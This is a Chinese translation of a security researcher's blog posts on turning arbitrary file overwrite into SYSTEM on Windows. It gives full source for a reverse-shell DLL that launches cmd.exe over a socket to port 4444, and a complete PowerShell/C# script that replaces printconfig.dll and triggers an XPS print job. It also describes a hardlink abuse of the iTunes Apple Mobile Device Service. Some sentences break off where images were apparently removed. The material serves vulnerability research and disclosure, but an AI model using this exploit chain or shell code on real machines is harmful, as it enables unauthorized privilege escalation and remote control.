任意文件覆蓋一直被視為關鍵漏洞，因為它可能導致權限升級。在Windows系統中，這通常意味著模擬管理員或系統運行。

[[345613]]

如果標準用戶能夠通過某種“利用”來更改特殊受保護文件的權限（通過授予他修改甚至更好的完全控制權限），則他可以更改目標文件的內容，以便將惡意代碼注入到服務可執行文件、腳本、dll等。

但是隨著時間的推移，“利用后”攻擊面受到限制，例如，系統文件受特殊的“受信任的安裝程序”組保護，甚至系統/管理員也只能對其進行讀取和執行訪問。

不過最近，攻擊者通過成功更改System32中“license.rtf”文件的權限之后，可能使用Forshaw的“ Diaghub Collector利用”，因為該文件不受受信任的安裝程序的保護。

第三方軟件始終是一個選項，因為通常它們不受“受信任的安裝程序”的保護。攻擊者應枚舉所有已安裝的軟件和可執行文件，識別哪些運行在高語境(high context)中，以及如何配置它們。一個典型的例子是服務可執行文件，它以SYSTEM身份運行，并且可由標準用戶啟動。在我的惠普筆記本電腦上，我擁有滿足所有要求的“惠普軟件框架服務（HP Software Framework）”，HP Software Framework提供了一套通用的軟件接口，可以集中并簡化對硬件、BIOS 和 HP 設備驅動程序的訪問。

另一個不錯的選擇是“ Dropbox Updater Service”，它以每小時一次的系統權限(在標準安裝中)作為預定任務運行。

但是如果攻擊者只想依靠標準的Windows操作系統軟件呢?它變得越來越困難與微軟補丁，但顯然有一些可能性。例如，還記得“ALPC任務調度程序”漏洞嗎?

最終結果是覆蓋“ Printconfig.dll”，其中SYSTEM擁有完全控制權，啟動XPS打印作業（將加載修改后的Printconfig.dll），并在SYSTEM用戶上下文中執行代碼。結果，它仍然可以使用。

接下來，我將向你展示如何使用相對簡單的多合一Powershell腳本從printconfig.dll中“濫用”。

“Microsoft XPS Document Writer”是一種特殊的打印機驅動程序：“Microsoft XPS文檔編寫器（MXDW）是一種打印到文件的驅動程序，該驅動程序使Windows應用程序可以從帶有Service Pack 2（SP2）的Windows XP開始的Windows版本上創建XML Paper Specification（XPS）文檔文件。”

這個驅動程序位于不同的位置（在本例中為Win 2019服務器）：

有趣的是第一個文件，因為它是最新的文件，并且與我們的體系結構（X64）相匹配。

因此，如果我們能夠完全控制此文件，則可以使用修改后的dll覆蓋該文件，啟動XPS打印作業，該作業將加載dll并以SYSTEM用戶身份執行代碼（例如，反向shell）。

出于保密原因，我不會告訴你構建和編譯DLL，而是向你展示代碼的相關部分：

#include "stdafx.h" 
#include   
#include #define _WINSOCK_DEPRECATED_NO_WARNINGS 
  
using namespace std; 
  
void Reverse() 
{ 
WSADATA wsaData; 
SOCKET s1; 
struct sockaddr_in hax; 
  
STARTUPINFO sui; 
PROCESS_INFORMATION pi; 
launched = TRUE; 
WSAStartup(MAKEWORD(2, 2), &wsaData); 
s1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 
(unsigned int)NULL, (unsigned int)NULL); 
  
hax.sin_family = AF_INET; 
hax.sin_port = htons(4444); 
hax.sin_addr.s_addr = inet_addr("127.0.0.1"); 
  
WSAConnect(s1, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL); 
  
memset(&sui, 0, sizeof(sui)); 
sui.cb = sizeof(sui); 
sui.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW); 
sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE)s1; 
  
TCHAR commandLine[256] = L"cmd.exe"; 
CreateProcess(NULL, commandLine, NULL, NULL, TRUE, 
    0, NULL, NULL, &sui, &pi); 
} 
extern "C" __declspec (dllexport) bool __cdecl DllMain(_In_ HINSTANCE hinstDLL, 
    _In_ DWORD     fdwReason, 
    _In_ LPVOID    lpvReserved 
                     ) 
{ 
  
     
    switch (fdwReason) 
    { 
    case DLL_PROCESS_ATTACH: 
         
        Reverse(); 
         
        break; 
    case DLL_THREAD_ATTACH: 
    case DLL_THREAD_DETACH: 
    case DLL_PROCESS_DETACH: 
        break; 
    } 
     
     
     
       
    return TRUE; 
} 

加載庫時總是調用DLLMain()，它將在本地主機端口4444上執行我們的反向shell。

我們只需要編譯DLL并將其轉換為b64中的二進制文件，因為我們會將其插入到ps1腳本中：

$FilePath="c:\temp\my.dll" 
$ByteArray = [System.IO.File]::ReadAllBytes($FilePath) 
$Base64String = [System.Convert]::ToBase64String($ByteArray) 
$Base64String | Set-Content -force "out.64" 

現在我們的腳本是“xps.ps1”，必須包含一些c#代碼，因為它更容易調用和操作API函數：

$mycode = @" 
using System; 
using System.ComponentModel; 
using System.IO; 
using System.Runtime.InteropServices; 
namespace XPS 
{ 
public class XpsPrint 
{ 
public static void StartPrintJob() 
{ 
PrintJob("Microsoft XPS Document Writer", "myjob"); 
} 
public static void PrintJob(string printerName, string jobName) 
{ 
IntPtr completionEvent = CreateEvent(IntPtr.Zero, true, false, null); 
if (completionEvent == IntPtr.Zero) 
throw new Win32Exception(); 
try 
{ 
IXpsPrintJob job; 
IXpsPrintJobStream jobStream; 
StartJob(printerName, jobName, completionEvent, out job, out jobStream); 
jobStream.Close(); 
  
  
} 
finally 
{ 
if (completionEvent != IntPtr.Zero) 
CloseHandle(completionEvent); 
} 
} 
private static void StartJob(string printerName, string jobName, IntPtr completionEvent, out IXpsPrintJob job, out IXpsPrintJobStream jobStream) 
{ 
int result = StartXpsPrintJob(printerName, jobName, null, IntPtr.Zero, completionEvent, 
null, 0, out job, out jobStream, IntPtr.Zero); 
  
} 
[DllImport("XpsPrint.dll", EntryPoint = "StartXpsPrintJob")] 
private static extern int StartXpsPrintJob( 
[MarshalAs(UnmanagedType.LPWStr)] String printerName, 
[MarshalAs(UnmanagedType.LPWStr)] String jobName, 
[MarshalAs(UnmanagedType.LPWStr)] String outputFileName, 
IntPtr progressEvent,  
IntPtr completionEvent,  
[MarshalAs(UnmanagedType.LPArray)] byte[] printablePagesOn, 
UInt32 printablePagesOnCount, 
out IXpsPrintJob xpsPrintJob, 
out IXpsPrintJobStream documentStream, 
IntPtr printTicketStream);  
[DllImport("Kernel32.dll", SetLastError = true)] 
private static extern IntPtr CreateEvent(IntPtr lpEventAttributes, bool bManualReset, bool bInitialState, string lpName); 
[DllImport("Kernel32.dll", SetLastError = true, ExactSpelling = true)] 
private static extern WAIT_RESULT WaitForSingleObject(IntPtr handle, Int32 milliseconds); 
[DllImport("Kernel32.dll", SetLastError = true)] 
[return: MarshalAs(UnmanagedType.Bool)] 
private static extern bool CloseHandle(IntPtr hObject); 
} 
[Guid("0C733A30-2A1C-11CE-ADE5-00AA0044773D")]  
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] 
interface IXpsPrintJobStream 
{ 
void Read([MarshalAs(UnmanagedType.LPArray)] byte[] pv, uint cb, out uint pcbRead); 
void Write([MarshalAs(UnmanagedType.LPArray)] byte[] pv, uint cb, out uint pcbWritten); 
void Close(); 
} 
[Guid("5ab89b06-8194-425f-ab3b-d7a96e350161")] 
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] 
interface IXpsPrintJob 
{ 
void Cancel(); 
void GetJobStatus(out XPS_JOB_STATUS jobStatus); 
} 
[StructLayout(LayoutKind.Sequential)] 
struct XPS_JOB_STATUS 
{ 
public UInt32 jobId; 
public Int32 currentDocument; 
public Int32 currentPage; 
public Int32 currentPageTotal; 
public XPS_JOB_COMPLETION completion; 
public Int32 jobStatus;  
}; 
enum XPS_JOB_COMPLETION 
{ 
XPS_JOB_IN_PROGRESS = 0, 
XPS_JOB_COMPLETED = 1, 
XPS_JOB_CANCELLED = 2, 
XPS_JOB_FAILED = 3 
} 
enum WAIT_RESULT 
{ 
WAIT_OBJECT_0 = 0, 
WAIT_ABANDONED = 0x80, 
WAIT_TIMEOUT = 0x102, 
WAIT_FAILED = -1  
} 
} 
  
"@ 
## Change this according to your system: 
$dllb64="..." 
$targetfile="C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_e4ff50d4d5f8b2aa\Amd64\printconfig.dll" 
$PEBytes = [System.Convert]::FromBase64String($dllb64) 
$PEBytes | Set-Content -force $targetfile -Encoding Byte 
add-type -typeDefinition $mycode 
[XPS.XpsPrint]::StartPrintJob() 
echo "[+] done!" 
exit 

在$ddlB64變量中，我們將分配之前保存在“out.64”中的dll的b64字符串。

現在，出于測試目的，以SYSTEM用戶身份，只需更改“ printconfig.dll”的權限。請記住，要進行備份！

讓我們繼續：

是的，它絕對有效！通過以沒有特殊權限的標準用戶身份啟動XPS打印作業，獲得了SYSTEM用戶的反向shell！

為了擺脫文件對話框，我們可以在StartJob()方法中指定一個文件名：

private static void StartJob(string printerName, string jobName, IntPtr completionEvent, out IXpsPrintJob job, out IXpsPrintJobStream jobStream) 
{ 
int result = StartXpsPrintJob(printerName, jobName, 
"c:\\windows\\temp\\test.txt", IntPtr.Zero, completionEvent, 
null, 0, out job, out jobStream, IntPtr.Zero); 
  
} 

但你猜怎么著?你將模擬“NT AUTHORITY\LOCAL SERVICE”！

在本例中，將調用允許后臺打印XPS文件的驅動程序“printfilterpipelinesvc.exe”，并以“本地服務”帳戶而非“系統”帳戶運行該驅動程序！

但是攻擊者怎么才能覆蓋任意文件？

如上所述，我將通過一個真實的示例向你展示如何利用“Printconfig” dl。但是。這個iPhone有什么關系呢？

為此，我特意尋找了可以通過硬鏈接利用的特權文件操作。

通過努力，我們發現了目錄c:\programdata\apple\lockdown。

iTunes軟件安裝的“蘋果移動設備服務”使用此文件夾，該服務以“本地系統”特權運行，負責處理通過USB端口與蘋果設備（iPhone，iPad等）的通信。

如下所示，標準用戶可以在以下目錄中添加文件：

每次插入新設備時，驅動程序都會以

現在，插入我們的蘋果設備。將生成“配對證書”，并且在此文件上設置的權限如下：

如你所見，用戶僅對此文件具有讀取權限。

現在你會發現一個有趣的事情，如果你拔下設備的插頭，然后再次插入，則會發生一些神奇的事情，從而授予用戶對該文件的完全控制權限：

我們使用Sysinternals的“procmon”工具觀察到這種有趣的行為：

SetSecurity調用是從提升的上下文（SYSTEM）發出的，它將授予用戶對資源的完全控制權。所以這個會不會成為一個漏洞，被攻擊者利用呢？

答案是肯定的，只需輸入 “NATIVE HARDLINKS“即可。

標準的Windows用戶不需要特殊的權限即可創建此類鏈接，我們可以使用Forshaw的實用程序來管理它們。

那么，為什么不在此文件上設置“本機硬鏈接（“native hardlink”）”，并讓其指向只有SYSTEM才能完全控制的資源呢？

這是我們要做的，將我們的

現在，我們只需要插入我們的蘋果設備即可更改目標文件的權限：

是的，它起作用了!

至此，我們已經完成了所有的工作，只需要將目標文件更改為printconfig.dll，然后用我們自己的dll覆蓋它，開始XPS打印作業，最后享受SYSTEM shell。你可以觀看POC的視頻，鏈接請點擊這里。

邊界條件

1. 你需要在Windows計算機上具有用戶shel程序訪問權限；

2. iTunes和Apple Mobile Device Service應該一起安裝，為此我們使用最新的iTunes版本（在撰寫本文時為12.10.3）對其進行了測試。

3. 出于測試目的，你需要對計算機進行物理訪問才能插入蘋果設備，但這并不是必須的。因為你可以刪除* .plist文件，創建指向目標dll的相同* .plist文件的硬鏈接，然后等待設備插件。我們觀察到有時即使沒有配對設備也會設置完全權限，但是我們需要對其進行更多研究。

注意

在Windows未來發布的版本在，通用硬鏈接濫用中將不再起作用。因為，在最新的“Insider”預覽中，MS添加了一些補充檢查，因此，如果你無權訪問目標文件，則在嘗試創建硬鏈接時會收到拒絕訪問錯誤。

微軟在每一個新系統正式發行之前，都會向開發者提供預覽版系統，以便更快的找到 Bug 并解決。而 Windows Insider 的開放注冊讓更多的人加入到 Windows 10的改進和完善的工作中來，讓Windows 更加適應消費者的需求。

本文翻譯自：https://decoder.cloud/2019/11/13/from-arbitrary-file-overwrite-to-system/ https://decoder.cloud/2019/12/12/from-iphone-to-nt-authoritysystem/如若轉載，請注明原文地址。